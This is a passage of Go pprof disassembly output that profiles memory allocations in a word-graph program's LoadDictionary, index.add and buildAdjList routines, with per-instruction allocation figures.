0x30(SP) . . 10caa5f: CALL main.(*index).near(SB) . . 10caa64: MOVQ 0x78(SP), AX ;graph.go:107 . . 10caa69: MOVQ 0x50(SP), CX . . 10caa6e: ADDQ AX, CX . . 10caa71: MOVQ CX, 0x50(SP) . . 10caa76: MOVQ 0x70(SP), DX ;graph.go:110 . . 10caa7b: MOVQ 0xe8(SP), BX . . 10caa83: MOVQ 0x98(SP), SI . . 10caa8b: MOVQ 0x68(SP), DI . . 10caa90: MOVQ 0xc0(SP), R8 . . 10caa98: XORL R9, R9 . . 10caa9b: JMP 0x10ca71f . . 10caaa0: XORPS X0, X0 ;graph.go:117 . . 10caaa3: CVTSI2SDQ CX, X0 . . 10caaa8: XORPS X1, X1 . . 10caaab: CVTSI2SDQ BX, X1 . . 10caab0: DIVSD X1, X0 . . 10caab4: MOVSD_XMM X0, 0(SP) . . 10caab9: CALL runtime.convT64(SB) . . 10caabe: MOVQ 0x8(SP), AX . . 10caac3: XORPS X0, X0 . . 10caac6: MOVUPS X0, 0xc8(SP) . . 10caace: LEAQ runtime.types+84448(SB), CX . . 10caad5: MOVQ CX, 0xc8(SP) . . 10caadd: MOVQ AX, 0xd0(SP) . . 10caae5: MOVQ os.Stdout(SB), AX ;print.go:213 . . 10caaec: LEAQ go.itab.*os.File,io.Writer(SB), CX . . 10caaf3: MOVQ CX, 0(SP) . . 10caaf7: MOVQ AX, 0x8(SP) . . 10caafc: LEAQ go.string.*+3298(SB), AX . . 10cab03: MOVQ AX, 0x10(SP) . . 10cab08: MOVQ $0xa, 0x18(SP) . . 10cab11: LEAQ 0xc8(SP), AX . . 10cab19: MOVQ AX, 0x20(SP) . . 10cab1e: MOVQ $0x1, 0x28(SP) . . 10cab27: MOVQ $0x1, 0x30(SP) . . 10cab30: CALL fmt.Fprintf(SB) . . 10cab35: MOVQ 0xd8(SP), BP . . 10cab3d: ADDQ $0xe0, SP . . 10cab44: RET . . 10cab45: MOVQ BX, AX ;graph.go:113 . . 10cab48: CALL runtime.panicIndex(SB) . . 10cab4d: CALL runtime.panicIndex(SB) ;graph.go:112 . . 10cab52: MOVQ R10, AX ;graph.go:111 . . 10cab55: MOVQ R11, CX . . 10cab58: CALL runtime.panicIndex(SB) . . 10cab5d: NOPL . . 10cab5e: CALL runtime.morestack_noctxt(SB) ;graph.go:102 . . 10cab63: JMP main.(*Graph).buildAdjList(SB) . . 10cab68: INT $0x3 . . 10cab69: INT $0x3 . . 10cab6a: INT $0x3 . . 10cab6b: INT $0x3 . . 10cab6c: INT $0x3 . . 10cab6d: INT $0x3 . . 10cab6e: INT $0x3 ROUTINE ======================== main.(*index).add 102.50MB 102.50MB (flat, cum) 12.47% of Total . . 10cc260: MOVQ GS:0x30, CX ;index.go:30 . . 10cc269: LEAQ -0x18(SP), AX . . 10cc26e: CMPQ 0x10(CX), AX . . 10cc272: JBE 0x10cc566 . . 10cc278: SUBQ $0x98, SP . . 10cc27f: MOVQ BP, 0x90(SP) . . 10cc287: LEAQ 0x90(SP), BP . . 10cc28f: MOVQ 0xa0(SP), BX ;index.go:33 . . 10cc297: MOVQ 0x38(BX), DX . . 10cc29b: MOVQ 0x28(BX), SI . . 10cc29f: MOVQ 0xb8(SP), DI . . 10cc2a7: LEAQ -0x1(DI), CX . . 10cc2ab: CMPQ DX, CX . . 10cc2ae: JA 0x10cc560 . . 10cc2b4: MOVQ CX, 0x58(SP) . . 10cc2b9: MOVQ DX, 0x50(SP) . . 10cc2be: MOVQ SI, 0x78(SP) . . 10cc2c3: MOVQ 0xb0(SP), R8 ;index.go:34 . . 10cc2cb: XORL AX, AX . . 10cc2cd: JMP 0x10cc322 . . 10cc2cf: LEAQ 0x1(R8), R10 ;index.go:40 . . 10cc2d3: MOVQ R10, 0x8(BX)(SI*8) . . 10cc2d8: MOVQ 0xa8(SP), R10 . . 10cc2e0: MOVQ R10, 0(R9)(R8*8) . . 10cc2e4: MOVQ 0x78(SP), R9 ;index.go:34 . . 10cc2e9: MOVQ 0x50(SP), R11 . . 10cc2ee: MOVQ 0x58(SP), R12 . . 10cc2f3: MOVQ 0xb8(SP), R13 . . 10cc2fb: MOVQ 0xb0(SP), R14 . . 10cc303: MOVQ 0x68(SP), R15 . . 10cc308: MOVQ R12, CX ;index.go:124 . . 10cc30b: MOVQ R11, DX ;index.go:123 . . 10cc30e: MOVQ 0xa0(SP), BX ;index.go:37 . . 10cc316: MOVQ R9, SI ;index.go:124 . . 10cc319: MOVQ R13, DI ;index.go:34 . . 10cc31c: MOVQ R14, R8 ;index.go:125 . . 10cc31f: MOVQ R15, AX ;index.go:34 . . 10cc322: CMPQ DI, AX . . 10cc325: JGE 0x10cc533 . . 10cc32b: NOPL ;index.go:35 . . 10cc32c: CMPQ DX, AX ;index.go:123 . . 10cc32f: JA 0x10cc558 . . 10cc335: CMPQ CX, AX ;index.go:124 . . 10cc338: JA 0x10cc553 . . 10cc33e: MOVQ AX, 0x48(SP) ;index.go:34 . . 10cc343: SUBQ AX, CX ;index.go:124 . . 10cc346: MOVQ CX, 0x40(SP) . . 10cc34b: SUBQ AX, DX . . 10cc34e: NEGQ DX . . 10cc351: SARQ $0x3f, DX . . 10cc355: ANDQ AX, DX . . 10cc358: ADDQ SI, DX . . 10cc35b: MOVQ DX, 0x70(SP) . . 10cc360: CMPQ R8, SI ;index.go:125 . . 10cc363: JE 0x10cc378 . . 10cc365: MOVQ SI, 0(SP) . . 10cc369: MOVQ R8, 0x8(SP) . . 10cc36e: MOVQ AX, 0x10(SP) . . 10cc373: CALL runtime.memmove(SB) . . 10cc378: MOVQ 0x48(SP), AX ;index.go:126 . . 10cc37d: INCQ AX . . 10cc380: MOVQ AX, 0x68(SP) . . 10cc385: MOVQ 0xb8(SP), CX . . 10cc38d: SUBQ AX, CX . . 10cc390: MOVQ 0x40(SP), BX . . 10cc395: CMPQ CX, BX . . 10cc398: CMOVG CX, BX . . 10cc39c: MOVQ 0xc0(SP), CX . . 10cc3a4: SUBQ AX, CX . . 10cc3a7: NEGQ CX . . 10cc3aa: SARQ $0x3f, CX . . 10cc3ae: ANDQ AX, CX . . 10cc3b1: MOVQ 0xb0(SP), DI . . 10cc3b9: ADDQ DI, CX . . 10cc3bc: MOVQ 0x70(SP), R8 . . 10cc3c1: CMPQ R8, CX . . 10cc3c4: JNE 0x10cc51b . . 10cc3ca: MOVQ 0xa0(SP), AX ;index.go:37 . . 10cc3d2: MOVQ 0(AX), CX . . 10cc3d5: MOVQ 0x8(AX), DX . . 10cc3d9: MOVQ 0x20(CX), CX . . 10cc3dd: MOVQ DX, 0(SP) . . 10cc3e1: CALL CX . . 10cc3e3: MOVQ 0xa0(SP), AX ;index.go:38 . . 10cc3eb: MOVQ 0(AX), CX . . 10cc3ee: MOVQ 0x8(AX), DX . . 10cc3f2: MOVQ 0x40(CX), CX . . 10cc3f6: MOVQ DX, 0(SP) . . 10cc3fa: MOVQ 0x78(SP), DX . . 10cc3ff: MOVQ DX, 0x8(SP) . . 10cc404: MOVQ 0x58(SP), BX . . 10cc409: MOVQ BX, 0x10(SP) . . 10cc40e: MOVQ 0x50(SP), SI . . 10cc413: MOVQ SI, 0x18(SP) . . 10cc418: CALL CX . . 10cc41a: MOVQ 0xa0(SP), AX ;index.go:39 . . 10cc422: MOVQ 0(AX), CX . . 10cc425: MOVQ 0x8(AX), DX . . 10cc429: MOVQ 0x38(CX), CX . . 10cc42d: MOVQ DX, 0(SP) . . 10cc431: CALL CX . . 10cc433: MOVQ 0x8(SP), AX . . 10cc438: MOVQ 0xa0(SP), CX . . 10cc440: MOVQ 0x40(CX), DX . . 10cc444: TESTQ DX, DX . . 10cc447: JE 0x10cc54e . . 10cc44d: MOVQ DX, BX . . 10cc450: XORL DX, DX . . 10cc452: DIVQ BX . . 10cc455: MOVQ 0x10(CX), BX ;index.go:40 . . 10cc459: MOVQ 0x18(CX), SI . . 10cc45d: CMPQ SI, DX . . 10cc460: JAE 0x10cc543 . . 10cc466: LEAQ 0(DX)(DX*2), SI . . 10cc46a: MOVQ 0x10(BX)(SI*8), DI . . 10cc46f: MOVQ 0x8(BX)(SI*8), R8 . . 10cc474: MOVQ 0(BX)(SI*8), R9 . . 10cc478: LEAQ 0x1(R8), R10 . . 10cc47c: LEAQ 0(BX)(SI*8), R11 . . 10cc480: CMPQ DI, R10 . . 10cc483: JBE 0x10cc2cf . . 10cc489: MOVQ BX, 0x88(SP) . . 10cc491: MOVQ SI, 0x60(SP) . . 10cc496: MOVQ R11, 0x80(SP) . . 10cc49e: LEAQ runtime.types+86176(SB), AX . . 10cc4a5: MOVQ AX, 0(SP) . . 10cc4a9: MOVQ R9, 0x8(SP) . . 10cc4ae: MOVQ R8, 0x10(SP) . . 10cc4b3: MOVQ DI, 0x18(SP) . . 10cc4b8: MOVQ R10, 0x20(SP) 102.50MB 102.50MB 10cc4bd: CALL runtime.growslice(SB) ;main.(*index).add index.go:40 . . 10cc4c2: MOVQ 0x28(SP), AX ;index.go:40 . . 10cc4c7: MOVQ 0x30(SP), CX . . 10cc4cc: MOVQ 0x38(SP), DX . . 10cc4d1: MOVQ 0x60(SP), BX . . 10cc4d6: MOVQ 0x88(SP), SI . . 10cc4de: MOVQ DX, 0x10(SI)(BX*8) . . 10cc4e3: CMPL $0x0, runtime.writeBarrier(SB) . . 10cc4ea: JNE 0x10cc50c . . 10cc4ec: MOVQ AX, 0(SI)(BX*8) . . 10cc4f0: MOVQ CX, R8 . . 10cc4f3: MOVQ AX, R9 . . 10cc4f6: MOVQ 0xa0(SP), CX ;index.go:37 . . 10cc4fe: MOVQ BX, DX ;index.go:40 . . 10cc501: MOVQ SI, BX . . 10cc504: MOVQ DX, SI . . 10cc507: JMP 0x10cc2cf . . 10cc50c: MOVQ 0x80(SP), DI . . 10cc514: CALL runtime.gcWriteBarrier(SB) . . 10cc519: JMP 0x10cc4f0 . . 10cc51b: MOVQ R8, 0(SP) ;index.go:126 . . 10cc51f: MOVQ CX, 0x8(SP) . . 10cc524: MOVQ BX, 0x10(SP) . . 10cc529: CALL runtime.memmove(SB) . . 10cc52e: JMP 0x10cc3ca . . 10cc533: MOVQ 0x90(SP), BP . . 10cc53b: ADDQ $0x98, SP . . 10cc542: RET . . 10cc543: MOVQ DX, AX ;index.go:40 . . 10cc546: MOVQ SI, CX . . 10cc549: CALL runtime.panicIndexU(SB) . . 10cc54e: CALL runtime.panicdivide(SB) ;index.go:39 . . 10cc553: CALL runtime.panicSliceB(SB) ;index.go:124 . . 10cc558: MOVQ AX, CX ;index.go:123 . . 10cc55b: CALL runtime.panicSliceAcap(SB) . . 10cc560: CALL runtime.panicSliceAcap(SB) ;index.go:33 . . 10cc565: NOPL . . 10cc566: CALL runtime.morestack_noctxt(SB) ;index.go:30 . . 10cc56b: ? . . 10cc56c: LOCK CLD . . 10cc56e: ? ROUTINE ======================== main.LoadDictionary 152MB 821.14MB (flat, cum) 99.86% of Total . . 10c9e10: MOVQ GS:0x30, CX ;graph.go:39 . . 10c9e19: LEAQ 0xfffffec0(SP), AX . . 10c9e21: CMPQ 0x10(CX), AX . . 10c9e25: JBE 0x10ca691 . . 10c9e2b: SUBQ $0x1c0, SP . . 10c9e32: MOVQ BP, 0x1b8(SP) . . 10c9e3a: LEAQ 0x1b8(SP), BP . . 10c9e42: MOVQ $0x0, 0x1f8(SP) . . 10c9e4e: NOPL ;graph.go:40 . . 10c9e4f: MOVQ 0x1d8(SP), AX ;stats.go:42 . . 10c9e57: MOVQ AX, 0(SP) . . 10c9e5b: CALL runtime.convT64(SB) . . 10c9e60: MOVQ main.stats+8(SB), AX . . 10c9e67: MOVQ main.stats(SB), CX . . 10c9e6e: LEAQ 0x1(AX), DX . . 10c9e72: MOVQ main.stats+16(SB), BX . . 10c9e79: MOVQ 0x8(SP), SI . . 10c9e7e: CMPQ BX, DX . . 10c9e81: JA 0x10ca612 . . 10c9e87: LEAQ 0x1(AX), DX . . 10c9e8b: MOVQ DX, main.stats+8(SB) . . 10c9e92: SHLQ $0x5, AX . . 10c9e96: MOVQ $0xb, 0x8(CX)(AX*1) . . 10c9e9f: LEAQ go.itab.main.intStat,main.statValue(SB), DX . . 10c9ea6: MOVQ DX, 0x10(CX)(AX*1) . . 10c9eab: LEAQ 0(CX)(AX*1), DI . . 10c9eaf: LEAQ 0(CX)(AX*1), DX . . 10c9eb3: LEAQ 0x18(DX), DX . . 10c9eb7: CMPL $0x0, runtime.writeBarrier(SB) . . 10c9ebe: JNE 0x10ca5f6 . . 10c9ec4: LEAQ go.string.*+3958(SB), DX . . 10c9ecb: MOVQ DX, 0(CX)(AX*1) . . 10c9ecf: MOVQ SI, 0x18(CX)(AX*1) . . 10c9ed4: LEAQ go.string.*+6121(SB), AX ;graph.go:41 . . 10c9edb: MOVQ AX, 0(SP) . . 10c9edf: MOVQ $0xe, 0x8(SP) . . 10c9ee8: CALL main.newTimer(SB) . . 10c9eed: MOVQ 0x10(SP), AX . . 10c9ef2: MOVL $0x0, 0x68(SP) . . 10c9efa: MOVQ AX, 0x80(SP) . . 10c9f02: LEAQ 0x68(SP), AX . . 10c9f07: MOVQ AX, 0(SP) . . 10c9f0b: CALL runtime.deferprocStack(SB) . . 10c9f10: TESTL AX, AX . . 10c9f12: JNE 0x10ca5e0 . . 10c9f18: NOPL ;graph.go:42 . . 10c9f19: MOVQ 0x1c8(SP), AX ;file.go:280 . . 10c9f21: MOVQ AX, 0(SP) . . 10c9f25: MOVQ 0x1d0(SP), AX . . 10c9f2d: MOVQ AX, 0x8(SP) . . 10c9f32: MOVQ $0x0, 0x10(SP) . . 10c9f3b: MOVL $0x0, 0x18(SP) . . 10c9f43: CALL os.OpenFile(SB) . . 10c9f48: MOVQ 0x20(SP), AX . . 10c9f4d: MOVQ AX, 0x118(SP) . . 10c9f55: MOVQ 0x30(SP), CX . . 10c9f5a: MOVQ 0x28(SP), DX . . 10c9f5f: TESTQ DX, DX ;graph.go:43 . . 10c9f62: JE 0x10c9fa8 . . 10c9f64: JE 0x10c9f6a ;graph.go:44 . . 10c9f66: MOVQ 0x8(DX), DX . . 10c9f6a: XORPS X0, X0 . . 10c9f6d: MOVUPS X0, 0x128(SP) . . 10c9f75: MOVQ DX, 0x128(SP) . . 10c9f7d: MOVQ CX, 0x130(SP) . . 10c9f85: LEAQ 0x128(SP), AX . . 10c9f8d: MOVQ AX, 0(SP) . . 10c9f91: MOVQ $0x1, 0x8(SP) . . 10c9f9a: MOVQ $0x1, 0x10(SP) . . 10c9fa3: CALL log.Fatal(SB) . . 10c9fa8: MOVL $0x18, 0xa0(SP) ;graph.go:46 . . 10c9fb3: LEAQ go.func.*+300(SB), AX . . 10c9fba: MOVQ AX, 0xb8(SP) . . 10c9fc2: MOVQ 0x118(SP), AX . . 10c9fca: MOVQ AX, 0xd0(SP) . . 10c9fd2: LEAQ 0xa0(SP), CX . . 10c9fda: MOVQ CX, 0(SP) . . 10c9fde: CALL runtime.deferprocStack(SB) . . 10c9fe3: TESTL AX, AX . . 10c9fe5: JNE 0x10ca5ca . . 10c9feb: LEAQ runtime.types+158240(SB), AX ;graph.go:48 . . 10c9ff2: MOVQ AX, 0(SP) . . 10c9ff6: CALL runtime.newobject(SB) . . 10c9ffb: MOVQ 0x8(SP), AX . . 10ca000: MOVQ AX, 0x120(SP) . . 10ca008: LEAQ runtime.types+142368(SB), CX ;graph.go:49 . . 10ca00f: MOVQ CX, 0(SP) . . 10ca013: XORPS X0, X0 . . 10ca016: MOVUPS X0, 0x8(SP) . . 10ca01b: CALL runtime.makeslice(SB) . . 10ca020: MOVQ 0x18(SP), AX . . 10ca025: CMPL $0x0, runtime.writeBarrier(SB) ;graph.go:48 . . 10ca02c: JNE 0x10ca585 . . 10ca032: XORPS X0, X0 . . 10ca035: MOVQ 0x120(SP), CX . . 10ca03d: MOVUPS X0, 0(CX) . . 10ca040: MOVUPS X0, 0x10(CX) . . 10ca044: MOVUPS X0, 0x20(CX) . . 10ca048: MOVQ AX, 0(CX) . . 10ca04b: NOPL ;graph.go:54 . . 10ca04c: LEAQ 0x138(SP), DI ;scan.go:87 . . 10ca054: MOVQ BP, -0x10(SP) . . 10ca059: LEAQ -0x10(SP), BP . . 10ca05e: CALL 0x10586ba . . 10ca063: MOVQ 0(BP), BP . . 10ca067: LEAQ 0x138(SP), DI . . 10ca06f: MOVQ BP, -0x10(SP) . . 10ca074: LEAQ -0x10(SP), BP . . 10ca079: CALL 0x10586ba . . 10ca07e: MOVQ 0(BP), BP . . 10ca082: LEAQ go.itab.*os.File,io.Reader(SB), AX . . 10ca089: MOVQ AX, 0x138(SP) . . 10ca091: MOVQ 0x118(SP), AX . . 10ca099: MOVQ AX, 0x140(SP) . . 10ca0a1: LEAQ go.func.*+4(SB), AX . . 10ca0a8: MOVQ AX, 0x148(SP) . . 10ca0b0: MOVQ $0x10000, 0x150(SP) . . 10ca0bc: XORL AX, AX . . 10ca0be: JMP 0x10ca0c3 ;graph.go:55 . . 10ca0c0: MOVQ SI, AX ;graph.go:75 . . 10ca0c3: MOVQ AX, 0x48(SP) . . 10ca0c8: LEAQ 0x138(SP), CX ;graph.go:55 . . 10ca0d0: MOVQ CX, 0(SP) . . 10ca0d4: CALL bufio.(*Scanner).Scan(SB) . . 10ca0d9: CMPB $0x0, 0x8(SP) . . 10ca0de: JE 0x10ca221 . . 10ca0e4: NOPL ;graph.go:56 . . 10ca0e5: MOVQ 0x160(SP), AX ;scan.go:106 . . 10ca0ed: MOVQ AX, 0x40(SP) . . 10ca0f2: MOVQ 0x158(SP), CX . . 10ca0fa: MOVQ CX, 0x100(SP) . . 10ca102: LEAQ runtime.types+89184(SB), DX ;graph.go:57 . . 10ca109: MOVQ DX, 0(SP) . . 10ca10d: MOVQ AX, 0x8(SP) . . 10ca112: MOVQ AX, 0x10(SP) 4.50MB 4.50MB 10ca117: CALL runtime.makeslice(SB) ;main.LoadDictionary graph.go:57 . . 10ca11c: MOVQ 0x18(SP), AX ;graph.go:57 . . 10ca121: MOVQ AX, 0x110(SP) . . 10ca129: MOVQ 0x100(SP), CX ;graph.go:58 . . 10ca131: CMPQ CX, AX . . 10ca134: JE 0x10ca14e . . 10ca136: MOVQ AX, 0(SP) . . 10ca13a: MOVQ CX, 0x8(SP) . . 10ca13f: MOVQ 0x40(SP), CX . . 10ca144: MOVQ CX, 0x10(SP) . . 10ca149: CALL runtime.memmove(SB) . . 10ca14e: MOVQ 0x120(SP), CX ;graph.go:59 . . 10ca156: MOVQ 0x10(CX), DX . . 10ca15a: MOVQ 0x8(CX), BX . . 10ca15e: LEAQ 0x1(BX), SI . . 10ca162: MOVQ 0(CX), R8 . . 10ca165: CMPQ DX, SI . . 10ca168: JA 0x10ca1c1 . . 10ca16a: LEAQ 0x1(BX), DX . . 10ca16e: MOVQ DX, 0x8(CX) . . 10ca172: LEAQ 0(BX)(BX*2), DX . . 10ca176: MOVQ 0x40(SP), BX . . 10ca17b: MOVQ BX, 0x8(R8)(DX*8) . . 10ca180: MOVQ BX, 0x10(R8)(DX*8) . . 10ca185: MOVQ 0x48(SP), SI ;graph.go:60 . . 10ca18a: CMPQ SI, BX . . 10ca18d: CMOVG BX, SI ;graph.go:75 . . 10ca191: LEAQ 0(R8)(DX*8), DI ;graph.go:59 . . 10ca195: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca19c: JNE 0x10ca1af . . 10ca19e: MOVQ 0x110(SP), AX . . 10ca1a6: MOVQ AX, 0(R8)(DX*8) . . 10ca1aa: JMP 0x10ca0c0 . . 10ca1af: MOVQ 0x110(SP), AX . . 10ca1b7: CALL runtime.gcWriteBarrier(SB) . . 10ca1bc: JMP 0x10ca0c0 . . 10ca1c1: LEAQ runtime.types+142368(SB), AX . . 10ca1c8: MOVQ AX, 0(SP) . . 10ca1cc: MOVQ R8, 0x8(SP) . . 10ca1d1: MOVQ BX, 0x10(SP) . . 10ca1d6: MOVQ DX, 0x18(SP) . . 10ca1db: MOVQ SI, 0x20(SP) 124.61MB 124.61MB 10ca1e0: CALL runtime.growslice(SB) ;main.LoadDictionary graph.go:59 . . 10ca1e5: MOVQ 0x28(SP), AX ;graph.go:59 . . 10ca1ea: MOVQ 0x30(SP), CX . . 10ca1ef: MOVQ 0x38(SP), DX . . 10ca1f4: MOVQ 0x120(SP), DI . . 10ca1fc: MOVQ DX, 0x10(DI) . . 10ca200: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca207: JNE 0x10ca21a . . 10ca209: MOVQ AX, 0(DI) . . 10ca20c: MOVQ CX, BX . . 10ca20f: MOVQ AX, R8 . . 10ca212: MOVQ DI, CX . . 10ca215: JMP 0x10ca16a . . 10ca21a: CALL runtime.gcWriteBarrier(SB) . . 10ca21f: JMP 0x10ca20c . . 10ca221: MOVQ 0x1f0(SP), AX ;graph.go:65 . . 10ca229: TESTQ AX, AX . . 10ca22c: JNE 0x10ca527 . . 10ca232: MOVQ 0x120(SP), AX ;graph.go:69 . . 10ca23a: MOVQ 0x8(AX), CX . . 10ca23e: MOVQ CX, 0x60(SP) . . 10ca243: LEAQ runtime.types+77472(SB), DX . . 10ca24a: MOVQ DX, 0(SP) . . 10ca24e: MOVQ CX, 0x8(SP) . . 10ca253: MOVQ CX, 0x10(SP) 22.89MB 22.89MB 10ca258: CALL runtime.makeslice(SB) ;main.LoadDictionary graph.go:69 . . 10ca25d: MOVQ 0x18(SP), AX ;graph.go:69 . . 10ca262: MOVQ 0x60(SP), CX . . 10ca267: MOVQ 0x120(SP), DX . . 10ca26f: MOVQ CX, 0x20(DX) . . 10ca273: MOVQ CX, 0x28(DX) . . 10ca277: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca27e: JNE 0x10ca519 . . 10ca284: MOVQ AX, 0x18(DX) . . 10ca288: XORL AX, AX . . 10ca28a: JMP 0x10ca29b ;graph.go:70 . . 10ca28c: LEAQ 0x1(SI), BX . . 10ca290: MOVQ 0x60(SP), CX . . 10ca295: MOVQ AX, DX ;graph.go:71 . . 10ca298: MOVQ BX, AX ;graph.go:70 . . 10ca29b: CMPQ CX, AX . . 10ca29e: JGE 0x10ca31c . . 10ca2a0: MOVQ AX, 0x58(SP) . . 10ca2a5: LEAQ runtime.types+86176(SB), AX ;graph.go:71 . . 10ca2ac: MOVQ AX, 0(SP) . . 10ca2b0: XORPS X0, X0 . . 10ca2b3: MOVUPS X0, 0x8(SP) . . 10ca2b8: CALL runtime.makeslice(SB) . . 10ca2bd: MOVQ 0x120(SP), AX . . 10ca2c5: MOVQ 0x20(AX), CX . . 10ca2c9: MOVQ 0x18(AX), DX . . 10ca2cd: MOVQ 0x18(SP), BX . . 10ca2d2: MOVQ 0x58(SP), SI . . 10ca2d7: CMPQ CX, SI . . 10ca2da: JAE 0x10ca688 . . 10ca2e0: LEAQ 0(SI)(SI*2), CX . . 10ca2e4: MOVQ $0x0, 0x8(DX)(CX*8) . . 10ca2ed: MOVQ $0x0, 0x10(DX)(CX*8) . . 10ca2f6: LEAQ 0(DX)(CX*8), DI . . 10ca2fa: CMPL $0x0, runtime.writeBarrier(SB) . . 10ca301: JNE 0x10ca309 . . 10ca303: MOVQ BX, 0(DX)(CX*8) . . 10ca307: JMP 0x10ca28c . . 10ca309: MOVQ AX, CX ;graph.go:48 . . 10ca30c: MOVQ BX, AX ;graph.go:71 . . 10ca30f: CALL runtime.gcWriteBarrier(SB) . . 10ca314: MOVQ CX, AX . . 10ca317: JMP 0x10ca28c . . 10ca31c: LEAQ go.string.*+3468(SB), AX ;graph.go:74 . . 10ca323: MOVQ AX, 0(SP) . . 10ca327: MOVQ $0xa, 0x8(SP) . . 10ca330: CALL main.newTimer(SB) . . 10ca335: MOVQ 0x10(SP), AX . . 10ca33a: MOVQ AX, 0xe8(SP) . . 10ca342: MOVQ 0x1d8(SP), CX ;graph.go:75 . . 10ca34a: MOVQ CX, 0(SP) . . 10ca34e: MOVQ 0x48(SP), CX . . 10ca353: MOVQ CX, 0x8(SP) . 192MB 10ca358: CALL main.newIndex(SB) ;main.LoadDictionary graph.go:75 . . 10ca35d: MOVQ 0x10(SP), AX ;graph.go:75 . . 10ca362: MOVQ AX, 0xf8(SP) . . 10ca36a: MOVQ 0x120(SP), CX ;graph.go:76 . . 10ca372: MOVQ 0x8(CX), DX . . 10ca376: MOVQ 0(CX), BX . . 10ca379: TESTQ DX, DX . . 10ca37c: JLE 0x10ca3e5 . . 10ca37e: MOVQ DX, 0x60(SP) . . 10ca383: XORL SI, SI . . 10ca385: JMP 0x10ca39e . . 10ca387: MOVQ 0x108(SP), DX . . 10ca38f: LEAQ 0x18(DX), BX . . 10ca393: MOVQ AX, SI . . 10ca396: MOVQ 0xf8(SP), AX ;graph.go:77 . . 10ca39e: MOVQ BX, 0x108(SP) ;graph.go:76 . . 10ca3a6: MOVQ SI, 0x50(SP) . . 10ca3ab: MOVQ 0x8(BX), CX . . 10ca3af: MOVQ 0(BX), DX . . 10ca3b2: MOVQ 0x10(BX), DI . . 10ca3b6: MOVQ AX, 0(SP) ;graph.go:77 . . 10ca3ba: MOVQ SI, 0x8(SP) . . 10ca3bf: MOVQ DX, 0x10(SP) . . 10ca3c4: MOVQ CX, 0x18(SP) . . 10ca3c9: MOVQ DI, 0x20(SP) . 102.50MB 10ca3ce: CALL main.(*index).add(SB) ;main.LoadDictionary graph.go:77 . . 10ca3d3: MOVQ 0x50(SP), AX ;graph.go:76 . . 10ca3d8: INCQ AX . . 10ca3db: MOVQ 0x60(SP), CX . . 10ca3e0: CMPQ CX, AX . . 10ca3e3: JL 0x10ca387 . . 10ca3e5: MOVQ 0xe8(SP), DX ;graph.go:79 . . 10ca3ed: MOVQ 0(DX), AX . . 10ca3f0: CALL AX . . 10ca3f2: MOVZX 0x1e0(SP), AX ;graph.go:39 . . 10ca3fa: TESTL AL, AL . . 10ca3fc: JNE 0x10ca503 ;graph.go:81 . . 10ca402: LEAQ go.string.*+4830(SB), AX ;graph.go:87 . . 10ca409: MOVQ AX, 0(SP) . . 10ca40d: MOVQ $0xc, 0x8(SP) . . 10ca416: CALL main.newTimer(SB) . . 10ca41b: MOVQ 0x10(SP), AX . . 10ca420: MOVQ AX, 0xf0(SP) . . 10ca428: MOVQ 0x120(SP), CX ;graph.go:88 . . 10ca430: MOVQ CX, 0(SP) . . 10ca434: MOVQ 0xf8(SP), DX . . 10ca43c: MOVQ DX, 0x8(SP) . 374.64MB 10ca441: CALL main.(*Graph).buildAdjList(SB) ;main.LoadDictionary graph.go:88 . . 10ca446: MOVQ 0xf0(SP), DX ;graph.go:89 . . 10ca44e: MOVQ 0(DX), AX . . 10ca451: CALL AX . . 10ca453: MOVQ 0x1f0(SP), AX ;graph.go:65 . . 10ca45b: TESTQ AX, AX . . 10ca45e: JNE 0x10ca4a5 ;graph.go:91 . . 10ca460: MOVZX 0x1e1(SP), AX ;graph.go:39 . . 10ca468: TESTL AL, AL . . 10ca46a: JNE 0x10ca492 ;graph.go:95 . . 10ca46c: MOVQ 0x120(SP), AX ;graph.go:99 . . 10ca474: MOVQ AX, 0x1f8(SP) . . 10ca47c: NOPL . . 10ca47d: CALL runtime.deferreturn(SB) . . 10ca482: MOVQ 0x1b8(SP), BP . . 10ca48a: ADDQ $0x1c0, SP . . 10ca491: RET . . 10ca492: MOVQ 0x120(SP), AX ;graph.go:96 . . 10ca49a: MOVQ AX, 0(SP) . . 10ca49e: CALL main.adjListStats(SB) . . 10ca4a3: JMP 0x10ca46c . . 10ca4a5: MOVQ $0x0, 0(SP) ;graph.go:92 . . 10ca4ad: MOVQ 0x1e8(SP), CX . . 10ca4b5: MOVQ CX, 0x8(SP) . . 10ca4ba: MOVQ AX, 0x10(SP) . . 10ca4bf: LEAQ go.string.*+2074(SB), AX . . 10ca4c6: MOVQ AX, 0x18(SP) . . 10ca4cb: MOVQ $0x8, 0x20(SP) . . 10ca4d4: CALL runtime.concatstring2(SB) . . 10ca4d9: MOVQ 0x30(SP), AX . . 10ca4de: MOVQ 0x28(SP), CX . . 10ca4e3: MOVQ 0x120(SP), DX . . 10ca4eb: MOVQ DX, 0(SP) . . 10ca4ef: MOVQ CX, 0x8(SP) . . 10ca4f4: MOVQ AX, 0x10(SP) . . 10ca4f9: CALL main.(*Graph).dumpAdjList(SB) . . 10ca4fe: JMP 0x10ca460 . . 10ca503: MOVQ 0xf8(SP), AX ;graph.go:82 . . 10ca50b: MOVQ AX, 0(SP) . . 10ca50f: CALL main.(*index).printStats(SB) . . 10ca514: JMP 0x10ca402 . . 10ca519: LEAQ 0x18(DX), DI ;graph.go:69 . . 10ca51d: CALL runtime.gcWriteBarrier(SB) . . 10ca522: JMP 0x10ca288 . . 10ca527: MOVQ $0x0, 0(SP) ;graph.go:66 . . 10ca52f: MOVQ 0x1e8(SP), CX . . 10ca537: MOVQ CX, 0x8(SP) . . 10ca53c: MOVQ AX, 0x10(SP) . . 10ca541: LEAQ go.string.*+5483(SB), DX . . 10ca548: MOVQ DX, 0x18(SP) . . 10ca54d: MOVQ $0xd, 0x20(SP) . . 10ca556: CALL runtime.concatstring2(SB) . . 10ca55b: MOVQ 0x30(SP), AX . . 10ca560: MOVQ 0x28(SP), CX . . 10ca565: MOVQ 0x120(SP), DX . . 10ca56d: MOVQ DX, 0(SP) . . 10ca571: MOVQ CX, 0x8(SP) . . 10ca576: MOVQ AX, 0x10(SP) . . 10ca57b: CALL main.(*Graph).dumpVertices(SB) . . 10ca580: JMP 0x10ca232 . . 10ca585: MOVQ AX, 0x110(SP) ;graph.go:49 . . 10ca58d: LEAQ runtime.types+158240(SB), AX ;graph.go:48 . . 10ca594: MOVQ AX, 0(SP) . . 10ca598: MOVQ 0x120(SP), AX . . 10ca5a0: MOVQ AX, 0x8(SP) . 